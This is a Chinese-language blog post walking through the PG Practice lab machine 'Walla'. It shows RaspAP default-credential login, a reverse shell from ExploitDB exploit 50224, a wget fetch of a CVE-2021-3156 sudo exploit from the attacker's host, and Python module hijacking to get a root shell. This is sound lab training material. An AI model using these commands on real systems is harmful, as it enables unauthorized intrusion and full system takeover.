iT邦幫忙

2025 iThome 鐵人賽

DAY 28
0
Security

滲透探險 30 天:靶機挑戰記系列 第 28

PG Practice: Walla 攻略

  • 分享至 

  • xImage
  •  

Recon

先來看看這一臺靶機上面有開什麼樣的服務好了
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描

sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.161.97 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.161.97 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.161.97 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.161.97 -type recon;

https://ithelp.ithome.com.tw/upload/images/20251011/20178791uX3GTws2Fo.png
https://ithelp.ithome.com.tw/upload/images/20251011/20178791vdmo0jXWdy.png
這邊秀出 smtp-user-enum 的結果
https://ithelp.ithome.com.tw/upload/images/20251011/20178791VAn2Vndv5K.png

這邊是 FFUF 的結果
https://ithelp.ithome.com.tw/upload/images/20251011/20178791IWZJ1FclAb.png

一連上 Port 8091 後,他要我們立刻輸入一組帳號密碼
依照經驗這通常是做 basic authentication 的登入方式
http://walla:8091/
https://ithelp.ithome.com.tw/upload/images/20251011/20178791gaSc9zd0oG.png
觀察一下 response 的 header 裡面,有一個比較不常見的,叫做 www.authenticate
後面帶的參數 raspAP,因為不確定這是什麼丟上 Google 看一下
https://ithelp.ithome.com.tw/upload/images/20251011/20178791ZcGEDsIQdF.png

Initial Access

WWW-Authenticate: Basic realm="RaspAP" 這個表示這臺伺服器要求的帳號密碼去登入 RaspAP的區域
Google 一下有可能的帳號密碼,看起來這一個 RaspAP 的預設帳號密碼是 admin 還有 secret
https://ithelp.ithome.com.tw/upload/images/20251011/20178791xl0M3qzeC2.png

一旦登入 RaspAP 以後我們發現他的版本是 2.5
https://ithelp.ithome.com.tw/upload/images/20251011/20178791CgktIBE9NH.png

把這個版本號丟到 ExploitDB 裡面,可以找到一個 exploit code (https://www.exploit-db.com/exploits/50224 ),先來試試看這個 code 可不可以用。
下載下來後,我們根據目前的路徑去更改了exploit code 裡面的內容,把他原本的 endpoint 改成了對應我們目前的路徑
https://ithelp.ithome.com.tw/upload/images/20251011/20178791ZBtuQeMIXc.png
https://ithelp.ithome.com.tw/upload/images/20251011/20178791K9KTQJjaCo.png

在設定好監聽以後,根據 code 的內容執行指令
很順利的我們就拿到了 reverse shell 回來

python3 50224_mod.py $tIP 8091 admin secret $myIP 42042

https://ithelp.ithome.com.tw/upload/images/20251011/201787910WiyOb95bP.png
這是我們第一個 flag
https://ithelp.ithome.com.tw/upload/images/20251011/20178791GHMJofXp6c.png

Privilege Escalation

當我們上傳 Linpeas 到這臺把機上後發現這台靶機要做題權有2個方式

Method 1: Baron Samedit (CVE-2021-3156)

由 Linpeas 結果看到這個版本有 sudo 版本過舊的問題
https://ithelp.ithome.com.tw/upload/images/20251011/201787912fKyJsIiGE.png

這邊我們使用的是 GitHub 上面的這一支 python 檔 https://github.com/worawit/CVE-2021-3156
下載下來後上傳到把機上並且直接執行就可以拿到 root 的權限

cd /tmp ; wget http://192.168.45.222:8000/exploit_nss.py -O ./exploit_nss.py
python3 exploit_nss.py

https://ithelp.ithome.com.tw/upload/images/20251011/201787911EZayguhEI.png
https://ithelp.ithome.com.tw/upload/images/20251011/20178791bB97VTfI08.png

Method 2: Exploit Python Module

第2個方式比較有趣
我們先來看看 www-data 可以執行哪些 root 權限,這邊我們看到了他可以執行一支叫做 wifi_reset 的檔案

sudo -l

https://ithelp.ithome.com.tw/upload/images/20251011/20178791UD4DkjdrNq.png

先來執行看看會發生什麼事情

sudo /usr/bin/python /home/walter/wifi_reset.py 

看來無法執行成功會報錯 Unable to load wificontroller module.
https://ithelp.ithome.com.tw/upload/images/20251011/20178791MoTf9FoE15.png

在搜尋這個問題的時候看到了這個網頁 https://medium.com/analytics-vidhya/python-library-hijacking-on-linux-with-examples-a31e6a9860c8 得到一點啟發
假設我們可以弄出一個假的 WiFi controller module 是不是有機會可以拿到一個 root shell 呢?

cat /home/walter/wifi_reset.py 

https://ithelp.ithome.com.tw/upload/images/20251011/20178791yP7ST7Wy4q.png

首先我們要先確認看看 Python 上面哪個路徑可以讓我們導入這個假的 module
沒想到我們目前的路徑就放在第一個 (' ') 在這個目錄下面的 Python 檔案會直接被 import 進去

python
import sys
print(sys.path)

https://ithelp.ithome.com.tw/upload/images/20251011/20178791UFbyTL1hle.png

既然如此,事不宜遲我們就趕快來產生一個假的 WiFi controller 在當前目錄下面吧
因為我們希望的是 root 去產生一個 shell 給我們,所以這邊直接用 Python 去產生一個 PTY shell

echo 'import pty; pty.spawn("/bin/bash")' > ./wificontroller.py
sudo /usr/bin/python /home/walter/wifi_reset.py

再執行一次剛剛的指令後,我們就順利拿到了 root 的 shell
順利拿到 flag
https://ithelp.ithome.com.tw/upload/images/20251011/20178791Tv7UjSkyPr.png
https://ithelp.ithome.com.tw/upload/images/20251011/201787911C7TdRjDGz.png


上一篇
PG Practice: Shenzi 攻略
系列文
滲透探險 30 天:靶機挑戰記28
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言